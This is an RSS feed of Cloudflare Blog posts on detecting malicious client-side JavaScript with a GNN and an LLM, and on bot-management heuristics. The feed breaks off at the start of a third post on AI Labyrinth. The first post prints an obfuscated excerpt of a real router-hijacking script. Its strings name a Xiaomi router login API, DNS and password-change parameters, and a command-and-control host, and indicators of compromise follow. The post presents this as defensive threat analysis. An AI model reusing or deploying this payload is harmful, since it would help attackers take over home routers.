
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Mon, 13 Apr 2026 13:20:21 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Cloudflare Client-Side Security: smarter detection, now open to everyone]]></title>
            <link>https://blog.cloudflare.com/client-side-security-open-to-everyone/</link>
            <pubDate>Mon, 30 Mar 2026 06:00:00 GMT</pubDate>
            <description><![CDATA[ We are opening our advanced Client-Side Security tools to all users, featuring a new cascading AI detection system. By combining graph neural networks and LLMs, we've reduced false positives by up to 200x while catching sophisticated zero-day exploits. ]]></description>
            <content:encoded><![CDATA[ <p>Client-side skimming attacks have a boring superpower: they can steal data without breaking anything. The page still loads. Checkout still completes. All it needs is just one malicious script tag.</p><p>If that sounds abstract, here are two recent examples of such skimming attacks:</p><ul><li><p>In January 2026, <a href="https://sansec.io/research/keylogger-major-us-bank-employees"><u>Sansec reported</u></a> a browser-side keylogger running on an employee merchandise store for a major U.S. bank, harvesting personal data, login credentials, and credit card information.</p></li><li><p>In September 2025, attackers published malicious releases of <a href="https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/"><u>widely used npm packages</u></a>. If those packages were bundled into front-end code, end users could be exposed to crypto-stealing in the browser.</p></li></ul><p>To further our goal of building a better Internet, Cloudflare established a core tenet during our <a href="https://www.cloudflare.com/innovation-week/birthday-week-2025/"><u>Birthday Week 2025</u></a>: powerful security features should be accessible <a href="https://blog.cloudflare.com/enterprise-grade-features-for-all/"><u>without requiring a sales engagement</u></a>. In pursuit of this objective, we are announcing two key changes today:</p><p>First, Cloudflare <b>Client-Side Security Advanced</b> (formerly <b>Page Shield add-on</b>) is now <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings?tabs=client-side-abuse"><u>available to self-serve</u></a> customers. And second, domain-based threat intelligence is now complimentary for all customers on the <a href="https://developers.cloudflare.com/page-shield/#availability"><u>free </u><b><u>Client-Side Security</u></b><u> bundle</u></a>.</p><p>In this post, we’ll explain how this product works and highlight a new AI detection system designed to identify malicious JavaScript while minimizing false alarms. We’ll also discuss several real-world applications for these tools.</p>
    <div>
      <h2>How Cloudflare Client-Side Security works</h2>
      <a href="#how-cloudflare-client-side-security-works">
        
      </a>
    </div>
    <p>Cloudflare Client-Side Security assesses 3.5 billion scripts per day, protecting 2,200 scripts per enterprise zone on average.</p><p>Under the hood, Client-Side Security collects these signals using browser reporting (for example, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP"><u>Content Security Policy</u></a>), which means you don’t need scanners or app instrumentation to get started, and there is zero latency impact to your web applications. The only prerequisite is that your traffic is proxied through Cloudflare.</p><p>Client-Side Security <b>Advanced</b> provides immediate access to powerful security features:</p><ul><li><p><b>Smarter malicious script detection:</b> Using in-house machine learning, this capability is now enhanced with assessments from a Large Language Model (LLM). Read more details below.</p></li><li><p><b>Code change monitoring:</b> Continuous code change detection and monitoring is included, which is essential for meeting compliance like<a href="https://developers.cloudflare.com/page-shield/reference/pci-dss/"> <u>PCI DSS v4</u></a>, requirement 11.6.1.</p></li><li><p><b>Proactive blocking rules:</b> Benefit from positive content security rules that are maintained and enforced through continuous monitoring.</p></li></ul>
    <div>
      <h2>Detecting malicious intent JavaScripts</h2>
      <a href="#detecting-malicious-intent-javascripts">
        
      </a>
    </div>
    <p>Managing client-side security is a massive data problem. For an average enterprise zone, our systems observe approximately 2,200 unique scripts; smaller business zones frequently handle around 1,000. This volume alone is difficult to manage, but the real challenge is the volatility of the code.</p><p>Roughly a third of these scripts undergo code updates within any 30-day window. If a security team attempted to manually approve every new DOM (document object model) interaction or outbound connection, the resulting overhead would paralyze the development pipeline.</p><p>Instead, our detection strategy focuses on <i>what a script is trying to do</i>. That includes intent classification work <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/"><u>we’ve written about previously</u></a>. In short, we analyze the script's behavior using an Abstract Syntax Tree (AST). By breaking the code down into its logical structure, we can identify patterns that signal malicious intent, regardless of how the code is obfuscated.</p>
    <div>
      <h2>The high cost of false positives</h2>
      <a href="#the-high-cost-of-false-positives">
        
      </a>
    </div>
    <p>Client-side security operates differently than active vulnerability scanners deployed across the web, where a Web Application Firewall (WAF) would constantly observe matched attack signatures. While a WAF constantly blocks high-volume automated attacks, a client-side compromise (such as a breach of an origin server or a third-party vendor) is a rare, high-impact event. In an enterprise environment with rigorous vendor reviews and code scanning, these attacks are rare.</p><p>This rarity creates a problem. Because real attacks are infrequent, a security system’s detections are statistically more likely to be false positives. For a security team, these false alarms create fatigue and hide real threats. To solve this, we integrated a Large Language Model (LLM) into our detection pipeline, drastically reducing the false positive rate.</p>
    <div>
      <h2>Adding an LLM-based second opinion for triage</h2>
      <a href="#adding-an-llm-based-second-opinion-for-triage">
        
      </a>
    </div>
    <p>Our <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/"><u>frontline detection engine</u></a> is a Graph Neural Network (GNN). GNNs are particularly well-suited for this task: they operate on the Abstract Syntax Tree (AST) of the JavaScript code, learning structural representations that capture execution patterns regardless of variable renaming, minification, or obfuscation. In machine learning terms, the GNN learns an embedding of the code’s graph structure that generalizes across syntactic variations of the same semantic behavior.</p><p>The GNN is tuned for high recall. We want to catch novel, zero-day threats. Its precision is already remarkably high: less than 0.3% of total analyzed traffic is flagged as a false positive (FP). However, at Cloudflare’s scale of <a href="https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/"><u>3.5 billion scripts assessed daily</u></a>, even a sub-0.3% FP rate translates to a volume of false alarms that can be disruptive to customers.</p><p>The core issue is a classic class imbalance problem. While we can collect extensive malicious samples, the sheer diversity of benign JavaScript across the web is practically infinite. Heavily obfuscated but perfectly legitimate scripts — like bot challenges, tracking pixels, ad-tech bundles, and minified framework builds — can exhibit structural patterns that overlap with malicious code in the GNN’s learned feature space. As much as we try to cover a huge variety of interesting benign cases, the model simply has not seen enough of this infinite variety during training.</p><p>This is precisely where Large Language Models (LLMs) complement the GNN. LLMs possess a deep semantic understanding of real-world JavaScript practices: they recognize domain-specific idioms, common framework patterns, and can distinguish sketchy-but-innocuous obfuscation from genuinely malicious intent.</p><p>Rather than replacing the GNN, we designed a cascading classifier architecture:</p><ol><li><p><b>Every script is first evaluated by the GNN</b>. If the GNN predicts the script as benign, the detection pipeline terminates immediately. <b>This incurs only the minimal latency of the GNN for the vast majority of traffic, completely bypassing the heavier computation time of the LLM</b>.</p></li><li><p>If the GNN flags the script as potentially malicious (above the decision threshold), the script is <b>forwarded to an open-source LLM</b> hosted on Cloudflare <a href="https://developers.cloudflare.com/workers-ai/"><u>Workers AI</u></a> for a second opinion.</p></li><li><p>The LLM, provided with a security-specialized prompt context, <b>semantically evaluates the script’s intent</b>. If it determines the script is benign, it overrides the GNN’s verdict.</p></li></ol><p>This two-stage design gives us the best of both worlds: the GNN’s high recall for structural malicious patterns, combined with the LLM’s broad semantic understanding to filter out false positives.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/438frLuYPU51j0uhtM5foj/10c53b3b3ccc84b00c754c872ad20492/image3.png" />
          </figure><p><a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/#training-the-model-to-detect-hidden-malicious-intent"><u>As we previously explained</u></a>, our GNN is trained on publicly accessible script URLs, the same scripts any browser would fetch. The LLM inference at runtime runs entirely within Cloudflare’s network via <a href="https://developers.cloudflare.com/workers-ai/"><u>Workers AI</u></a> using open-source models (we currently use <code>gpt-oss-120b</code>).</p><p>As an additional safety net, every script flagged by the GNN is logged to Cloudflare <a href="https://developers.cloudflare.com/r2/"><u>R2</u></a> for posterior analysis. This allows us to continuously audit whether the LLM’s overrides are correct and catch any edge cases where a true attack might have been inadvertently filtered out. Yes, we dogfood our own storage products for our own ML pipeline.</p><p>The results from our internal evaluations on real production traffic are compelling. Focusing on total analyzed traffic under the JS Integrity threat category, the secondary LLM validation layer reduced false positives by nearly 3x: dropping the already low ~0.3% FP rate down to ~0.1%. When evaluating unique scripts, the impact is even more dramatic: the FP rate plummets a whopping ~200x, from ~1.39% down to just 0.007%.</p><p>At our scale, cutting the overall false positive rate by two-thirds translates to millions fewer false alarms for our customers every single day. Crucially, our True Positive (actual attack) detection capability includes a fallback mechanism:as noted above, we audit the LLM’s overrides to check for possible true attacks that were filtered by the LLM.</p><p>Because the LLM acts as a highly reliable precision filter in this pipeline, we can now afford to lower the GNN’s decision threshold, making it even more aggressive. This means we catch novel, highly obfuscated True Attacks that would have previously fallen just below the detection boundary, all without overwhelming customers with false alarms. In the next phase, we plan to push this even further.</p>
    <div>
      <h3>Catching zero-days in the wild: The <code>core.js</code> router exploit</h3>
      <a href="#catching-zero-days-in-the-wild-the-core-js-router-exploit">
        
      </a>
    </div>
    <p>This two-stage architecture is already proving its worth in the wild. Just recently, our detection pipeline flagged a novel, highly obfuscated malicious script (<code>core.js</code>) targeting users in specific regions.</p><p>In this case, the payload was engineered to commandeer home routers (specifically Xiaomi OpenWrt-based devices). Upon closer inspection via deobfuscation, the script demonstrated significant situational awareness: it queries the router's WAN configuration (dynamically adapting its payload using parameters like <code>wanType=dhcp</code>, <code>wanType=static</code>, and <code>wanType=pppoe</code>), overwrites the DNS settings to hijack traffic through Chinese public DNS servers, and even attempts to lock out the legitimate owner by silently changing the admin password. Instead of compromising a website directly, it had been injected into users' sessions via compromised browser extensions.</p><p>To evade detection, the script's core logic was heavily minified and packed using an array string obfuscator — a classic trick, but effective enough that traditional threat intelligence platforms like VirusTotal have not yet reported detections at the time of this writing.</p><p><b>Our GNN successfully revealed</b> the underlying malicious structure despite the obfuscation, and the <b>Workers AI LLM confidently confirmed</b> the intent. Here is a glimpse of the payload showing the target router API and the attempt to inject a rogue DNS server:</p>
            <pre><code>const _0x1581=['bXhqw','=sSMS9WQ3RXc','cookie','qvRuU','pDhcS','WcQJy','lnqIe','oagRd','PtPlD','catch','defaultUrl','rgXPslXN','9g3KxI1b','123123123','zJvhA','content','dMoLJ','getTime','charAt','floor','wZXps','value','QBPVX','eJOgP','WElmE','OmOVF','httpOnly','split','userAgent','/?code=10&amp;asyn=0&amp;auth=','nonce=','dsgAq','VwEvU','==wb1kHb9g3KxI1b','cNdLa','W748oghc9TefbwK','_keyStr','parse','BMvDU','JYBSl','SoGNb','vJVMrgXPslXN','=Y2KwETdSl2b','816857iPOqmf','uexax','uYTur','LgIeF','OwlgF','VkYlw','nVRZT','110594AvIQbs','LDJfR','daPLo','pGkLa','nbWlm','responseText','20251212','EKjNN','65kNANAl','.js','94963VsBvZg','WuMYz','domain','tvSin','length','UBDtu','pfChN','1TYbnhd','charCodeAt','/cgi-bin/luci/api/xqsystem/login','http://192.168.','trace','https://api.qpft5.com','&amp;newPwd=','mWHpj','wanType','XeEyM','YFBnm','RbRon','xI1bxI1b','fBjZQ','shift','=8yL1kHb9g3KxI1b','http://','LhGKV','AYVJu','zXrRK','status','OQjnd','response','AOBSe','eTgcy','cEKWR','&amp;dns2=','fzdsr','filter','FQXXx','Kasen','faDeG','vYnzx','Fyuiu','379787JKBNWn','xiroy','mType','arGpo','UFKvk','tvTxu','ybLQp','EZaSC','UXETL','IRtxh','HTnda','trim','/fee','=82bv92bv92b','BGPKb','BzpiL','MYDEF','lastIndexOf','wypgk','KQMDB','INQtL','YiwmN','SYrdY','qlREc','MetQp','Wfvfh','init','/ds','HgEOZ','mfsQG','address','cDxLQ','owmLP','IuNCv','=syKxEjUS92b','then','createOffer','aCags','tJHgQ','JIoFh','setItem','ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','Kwshb','ETDWH','0KcgeX92i0efbwK','stringify','295986XNqmjG','zfJMl','platform','NKhtt','onreadystatechange','88888888','push','cJVJO','XPOwd','gvhyl','ceZnn','fromCharCode',';Secure','452114LDbVEo','vXkmg','open','indexOf','UiXXo','yyUvu','ddp','jHYBZ','iNWCL','info','reverse','i4Q18Pro9TefbwK','mAPen','3960IiTopc','spOcD','dbKAM','ZzULq','bind','GBSxL','=A3QGRFZxZ2d','toUpperCase','AvQeJ','diWqV','iXtgM','lbQFd','iOS','zVowQ','jTeAP','wanType=dhcp&amp;autoset=1&amp;dns1=','fNKHB','nGkgt','aiEOB','dpwWd','yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW','encode','gWYAY','mckDW','createDataChannel'];
const _0x4b08=function(_0x5cc416,_0x2b0c4c){_0x5cc416=_0x5cc416-0x1d5;let _0xd00112=_0x1581[_0x5cc416];return _0xd00112;};
(function(_0x3ff841,_0x4d6f8b){const _0x45acd8=_0x4b08;while(!![]){try{const _0x1933aa=-parseInt(_0x45acd8(0x275))*-parseInt(_0x45acd8(0x264))+-parseInt(_0x45acd8(0x1ff))+parseInt(_0x45acd8(0x25d))+-parseInt(_0x45acd8(0x297))+parseInt(_0x45acd8(0x20c))+parseInt(_0x45acd8(0x26e))+-parseInt(_0x45acd8(0x219))*parseInt(_0x45acd8(0x26c));if(_0x1933aa===_0x4d6f8b)break;else _0x3ff841['push'](_0x3ff841['shift']());}catch(_0x8e5119){_0x3ff841['push'](_0x3ff841['shift']());}}}(_0x1581,0x842ab));</code></pre>
            <p>This is exactly the kind of sophisticated, zero-day threat that a static signature-based WAF would miss but our structural and semantic AI approach catches.</p>
    <div>
      <h4>Indicators of Compromise (IOCs)</h4>
      <a href="#indicators-of-compromise-iocs">
        
      </a>
    </div>
    <ul><li><p><b>URL:</b> hxxps://ns[.]qpft5[.]com/ads/core[.]js</p></li><li><p><b>SHA-256:</b> 4f2b7d46148b786fae75ab511dc27b6a530f63669d4fe9908e5f22801dea9202</p></li><li><p><b>C2 Domain:</b> hxxps://api[.]qpft5[.]com</p></li></ul>
    <div>
      <h2>Domain-based threat intelligence free for all</h2>
      <a href="#domain-based-threat-intelligence-free-for-all">
        
      </a>
    </div>
    <p>Today we are making domain-based threat intelligence available to all Cloudflare Client-Side Security customers, regardless of whether you use the Advanced offering.</p><p>In 2025, we saw many non-enterprise customers affected by client-side attacks, particularly those customers running webshops on the Magento platform. These attacks persisted for days or even weeks after they were publicized. Small and medium-sized companies often lack the enterprise-level resources and expertise needed to maintain a high security standard.</p><p>By providing domain-based threat intelligence to everyone, we give site owners a critical, direct signal of attacks affecting their users. This information allows them to take immediate action to clean up their site and investigate potential origin compromises.</p><p>To begin, simply enable Client-Side Security with a toggle <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings?tabs=client-side-abuse"><u>in the dashboard</u></a>. We will then highlight any JavaScript or connections associated with a known malicious domain.</p>
    <div>
      <h2>Get started with Client-Side Security Advanced for PCI DSS v4</h2>
      <a href="#get-started-with-client-side-security-advanced-for-pci-dss-v4">
        
      </a>
    </div>
    <p>To learn more about Client-Side Security Advanced pricing, please visit <a href="https://www.cloudflare.com/plans/"><u>the plans page</u></a>. Before committing, we will estimate the cost based on your last month’s HTTP requests, so you know exactly what to expect.</p><p>Client-Side Security Advanced has all the tools you need to meet the requirements <a href="https://developers.cloudflare.com/page-shield/reference/pci-dss/"><u>of PCI DSS v4</u></a> as an e-commerce merchant, particularly 6.4.3 and 11.6.1. Sign up today <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings?tabs=client-side-abuse"><u>in the dashboard</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">6NYXSzUcRxDdj9UP0kouAK</guid>
            <dc:creator>Zhiyuan Zheng</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
        </item>
        <item>
            <title><![CDATA[Improved Bot Management flexibility and visibility with new high-precision heuristics]]></title>
            <link>https://blog.cloudflare.com/bots-heuristics/</link>
            <pubDate>Wed, 19 Mar 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ By building and integrating a new heuristics framework into the Cloudflare Ruleset Engine, we now have a more flexible system to write rules and deploy new releases rapidly. ]]></description>
            <content:encoded><![CDATA[ <p>Within the Cloudflare Application Security team, every <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/"><u>machine learning</u></a> model we use is underpinned by a rich set of static rules that serve as a ground truth and a baseline comparison for how our models are performing. These are called heuristics. Our Bot Management heuristics engine has served as an important part of eight global <a href="https://developers.cloudflare.com/bots/concepts/bot-score/#machine-learning"><u>machine learning (ML) models</u></a>, but we needed a more expressive engine to increase our accuracy. In this post, we’ll review how we solved this by moving our heuristics to the Cloudflare <a href="https://developers.cloudflare.com/ruleset-engine/"><u>Ruleset Engine</u></a>. Not only did this provide the platform we needed to write more nuanced rules, it made our platform simpler and safer, and provided <a href="https://www.cloudflare.com/application-services/products/bot-management/"><u>Bot Management</u></a> customers more flexibility and visibility into their bot traffic.   </p>
    <div>
      <h3>Bot detection via simple heuristics</h3>
      <a href="#bot-detection-via-simple-heuristics">
        
      </a>
    </div>
    <p>In Cloudflare’s bot detection, we build heuristics from attributes like software library fingerprints, HTTP request characteristics, and internal threat intelligence. Heuristics serve three separate purposes for bot detection: </p><ol><li><p>Bot identification: If traffic matches a heuristic, we can identify the traffic as definitely automated traffic (with a <a href="https://developers.cloudflare.com/bots/concepts/bot-score/"><u>bot score</u></a> of 1) without the need of a machine learning model. </p></li><li><p>Train ML models: When traffic matches our heuristics, we create labelled datasets of bot traffic to train new models. We’ll use many different sources of labelled bot traffic to train a new model, but our heuristics datasets are one of the highest confidence datasets available to us.   </p></li><li><p>Validate models: We benchmark any new model candidate’s performance against our heuristic detections (among many other checks) to make sure it meets a required level of accuracy.</p></li></ol><p>While the existing heuristics engine has worked very well for us, as bots evolved we needed the flexibility to write increasingly complex rules. Unfortunately, such rules were not easily supported in the old engine. Customers have also been asking for more details about which specific heuristic caught a request, and for the flexibility to enforce different policies per heuristic ID.  We found that by building a new heuristics framework integrated into the Cloudflare Ruleset Engine, we could build a more flexible system to write rules and give Bot Management customers the granular explainability and control they were asking for. </p>
    <div>
      <h3>The need for more efficient, precise rules</h3>
      <a href="#the-need-for-more-efficient-precise-rules">
        
      </a>
    </div>
    <p>In our previous heuristics engine, we wrote rules in <a href="https://www.lua.org/"><u>Lua</u></a> as part of our <a href="https://openresty.org/"><u>openresty</u></a>-based reverse proxy. The Lua-based engine was limited to a very small number of characteristics in a rule because of the high engineering cost we observed with adding more complexity.</p><p>With Lua, we would write fairly simple logic to match on specific characteristics of a request (i.e. user agent). Creating new heuristics of an existing class was fairly straight forward. All we’d need to do is define another instance of the existing class in our database. However, if we observed malicious traffic that required more than two characteristics (as a simple example, user-agent and <a href="https://en.wikipedia.org/wiki/Autonomous_system_(Internet)"><u>ASN</u></a>) to identify, we’d need to create bespoke logic for detections. Because our Lua heuristics engine was bundled with the code that ran ML models and other important logic, all changes had to go through the same review and release process. If we identified malicious traffic that needed a new heuristic class, and we were also blocked by pending changes in the codebase, we’d be forced to either wait or rollback the changes. If we’re writing a new rule for an “under attack” scenario, every extra minute it takes to deploy a new rule can mean an unacceptable impact to our customer’s business. </p><p>More critical than time to deploy is the complexity that the heuristics engine supports. The old heuristics engine only supported using specific request attributes when creating a new rule. As bots became more sophisticated, we found we had to reject an increasing number of new heuristic candidates because we weren’t able to write precise enough rules. For example, we found a <a href="https://go.dev/"><u>Golang</u></a> TLS fingerprint frequently used by bots and by a small number of corporate VPNs. We couldn’t block the bots without also stopping the legitimate VPN usage as well, because the old heuristics platform lacked the flexibility to quickly compile sufficiently nuanced rules. Luckily, we already had the perfect solution with Cloudflare Ruleset Engine. </p>
    <div>
      <h3>Our new heuristics engine</h3>
      <a href="#our-new-heuristics-engine">
        
      </a>
    </div>
    <p>The Ruleset Engine is familiar to anyone who has written a WAF rule, Load Balancing rule, or Transform rule, <a href="https://blog.cloudflare.com/announcing-firewall-rules/"><u>just to name a few</u></a>. For Bot Management, the Wireshark-inspired syntax allows us to quickly write heuristics with much greater flexibility to vastly improve accuracy. We can write a rule in <a href="https://yaml.org/"><u>YAML</u></a> that includes arbitrary sub-conditions and inherit the same framework the WAF team uses to both ensure any new rule undergoes a rigorous testing process with the ability to rapidly release new rules to stop attacks in real-time. </p><p>Writing heuristics on the Cloudflare Ruleset Engine allows our engineers and analysts to write new rules in an easy to understand YAML syntax. This is critical to supporting a rapid response in under attack scenarios, especially as we support greater rule complexity. Here’s a simple rule using the new engine, to detect empty user-agents restricted to a specific JA4 fingerprint (right), compared to the empty user-agent detection in the old Lua based system (left): </p><table><tr><td><p><b>Old</b></p></td><td><p><b>New</b></p></td></tr><tr><td><p><code>local _M = {}</code></p><p><code>local EmptyUserAgentHeuristic = {</code></p><p><code>   heuristic = {},</code></p><p><code>}</code></p><p><code>EmptyUserAgentHeuristic.__index = EmptyUserAgentHeuristic</code></p><p><code>--- Creates and returns empty user agent heuristic</code></p><p><code>-- @param params table contains parameters injected into EmptyUserAgentHeuristic</code></p><p><code>-- @return EmptyUserAgentHeuristic table</code></p><p><code>function _M.new(params)</code></p><p><code>   return setmetatable(params, EmptyUserAgentHeuristic)</code></p><p><code>end</code></p><p><code>--- Adds heuristic to be used for inference in `detect` method</code></p><p><code>-- @param heuristic schema.Heuristic table</code></p><p><code>function EmptyUserAgentHeuristic:add(heuristic)</code></p><p><code>   self.heuristic = heuristic</code></p><p><code>end</code></p><p><code>--- Detect runs empty user agent heuristic detection</code></p><p><code>-- @param ctx context of request</code></p><p><code>-- @return schema.Heuristic table on successful detection or nil otherwise</code></p><p><code>function EmptyUserAgentHeuristic:detect(ctx)</code></p><p><code>   local ua = ctx.user_agent</code></p><p><code>   if not ua or ua == '' then</code></p><p><code>      return self.heuristic</code></p><p><code>   end</code></p><p><code>end</code></p><p><code>return _M</code></p></td><td><p><code>ref: empty-user-agent</code></p><p><code>      description: Empty or missing </code></p><p><code>User-Agent header</code></p><p><code>      action: add_bot_detection</code></p><p><code>      action_parameters:</code></p><p><code>        active_mode: false</code></p><p><code>      expression: http.user_agent eq </code></p><p><code>"" and cf.bot_management.ja4 = "t13d1516h2_8daaf6152771_b186095e22b6"</code></p></td></tr></table><p>The Golang heuristic that captured corporate proxy traffic as well (mentioned above) was one of the first to migrate to the new Ruleset engine. Before the migration, traffic matching on this heuristic had a false positive rate of 0.01%. While that sounds like a very small number, this means for every million bots we block, 100 real users saw a Cloudflare challenge page unnecessarily. At Cloudflare scale, even small issues can have real, negative impact.</p><p>When we analyzed the traffic caught by this heuristic rule in depth, we saw the vast majority of attack traffic came from a small number of abusive networks. After narrowing the definition of the heuristic to flag the Golang fingerprint only when it’s sourced by the abusive networks, the rule now has a false positive rate of 0.0001% (One out of 1 million).  Updating the heuristic to include the network context improved our accuracy, while still blocking millions of bots every week and giving us plenty of training data for our bot detection models. Because this heuristic is now more accurate, newer ML models make more accurate decisions on what’s a bot and what isn’t.</p>
    <div>
      <h3>New visibility and flexibility for Bot Management customers </h3>
      <a href="#new-visibility-and-flexibility-for-bot-management-customers">
        
      </a>
    </div>
    <p>While the new heuristics engine provides more accurate detections for all customers and a better experience for our analysts, moving to the Cloudflare Ruleset Engine also allows us to deliver new functionality for Enterprise Bot Management customers, specifically by offering more visibility. This new visibility is via a new field for Bot Management customers called Bot Detection IDs. Every heuristic we use includes a unique Bot Detection ID. These are visible to Bot Management customers in analytics, logs, and firewall events, and they can be used in the firewall to write precise rules for individual bots. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3cYXHw8tFUjdJQGm93gFcE/0a3f6ab89a70410ebb7dd2c6f4f3a677/1.png" />
          </figure>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/9d7L1r7yN9AEhO26H7SgQ/434f0f934dd4f4498a8d13e85a7660ae/2.png" />
          </figure><p>Detections also include a specific tag describing the class of heuristic. Customers see these plotted over time in their analytics. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2UlkGQ070UWsmU76IXYqDd/6bca8f28959a8fe8f3013792a17b348a/image4.png" />
          </figure><p>To illustrate how this data can help give customers visibility into why we blocked a request, here’s an example request flagged by Bot Management (with the IP address, ASN, and country changed):</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3i6k9ejsBVwlbXUrZFIFJG/4c9cddd11d9f7a8ddf10eb5ff30a027b/4.png" />
          </figure><p>Before, just seeing that our heuristics gave the request a score of 1 was not very helpful in understanding why it was flagged as a bot. Adding our Detection IDs to Firewall Events helps to paint a better picture for customers that we’ve identified this request as a bot because that traffic used an empty user-agent. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5UQd20VnXCnIav1skHiX6i/18e0cf01106601ae7faf18be50d43365/5.png" />
          </figure><p>In addition to Analytics and Firewall Events, Bot Detection IDs are now available for Bot Management customers to use in Custom Rules, Rate Limiting Rules, Transform Rules, and Workers. </p>
    <div>
      <h4>Account takeover detection IDs</h4>
      <a href="#account-takeover-detection-ids">
        
      </a>
    </div>
    <p>One way we’re focused on improving Bot Management for our customers is by surfacing more attack-specific detections. During Birthday Week, we <a href="https://blog.cloudflare.com/a-safer-internet-with-cloudflare/"><u>launched Leaked Credentials Check</u></a> for all customers so that security teams could help <a href="https://www.cloudflare.com/zero-trust/solutions/account-takeover-prevention/"><u>prevent account takeover (ATO) attacks</u></a> by identifying accounts at risk due to leaked credentials. We’ve now added two more detections that can help Bot Management enterprise customers identify suspicious login activity via specific <a href="https://developers.cloudflare.com/bots/concepts/detection-ids/#account-takeover-detections"><u>detection IDs</u></a> that monitor login attempts and failures on the zone. These detection IDs are not currently affecting the bot score, but will begin to later in 2025. Already, they can help many customers detect more account takeover events now.</p><p>Detection ID <b>201326592 </b>monitors traffic on a customer website and looks for an anomalous rise in login failures (usually associated with brute force attacks), and ID <b>201326593 </b>looks for an anomalous rise in login attempts (usually associated with credential stuffing). </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4a2LGgB1bXGwFgHQEKFSI9/ff4194a6a470e466274f7b7c51e9dc18/6.png" />
          </figure>
    <div>
      <h3>Protect your applications</h3>
      <a href="#protect-your-applications">
        
      </a>
    </div>
    <p>If you are a Bot Management customer, log in and head over to the Cloudflare dashboard and take a look in Security Analytics for bot detection IDs <code>201326592</code> and <code>201326593</code>.</p><p>These will highlight ATO attempts targeting your site. If you spot anything suspicious, or would like to be protected against future attacks, create a rule that uses these detections to keep your application safe.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Bots]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Heuristics]]></category>
            <category><![CDATA[Edge Rules]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">4IkgXzyemEEsN7A6Cd18hb</guid>
            <dc:creator>Curtis Lowder</dc:creator>
            <dc:creator>Brian Mitchell</dc:creator>
            <dc:creator>Adam Martinetti</dc:creator>
        </item>
        <item>
            <title><![CDATA[Trapping misbehaving bots in an AI Labyrinth]]></title>
            <link>https://blog.cloudflare.com/ai-labyrinth/</link>
            <pubDate>Wed, 19 Mar 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ How Cloudflare uses generative AI to slow down, confuse, and waste the resources of AI Crawlers and other bots that don’t respect “no crawl” directives. ]]></description>
            <content:encoded><![CDATA[ <p>Today, we’re excited to announce AI Labyrinth, a new mitigation approach that uses AI-generated content to slow down, confuse, and waste the resources of AI Crawlers and other bots that don’t respect “no crawl” directives. When you opt in, Cloudflare will automatically deploy an AI-generated set of linked pages when we detect inappropriate bot activity, without the need for customers to create any custom rules.</p><p>AI Labyrinth is available on an opt-in basis to all customers, including the<a href="https://www.cloudflare.com/plans/free/"> Free plan</a>.</p>
    <div>
      <h3>Using Generative AI as a defensive weapon</h3>
      <a href="#using-generative-ai-as-a-defensive-weapon">
        
      </a>
    </div>
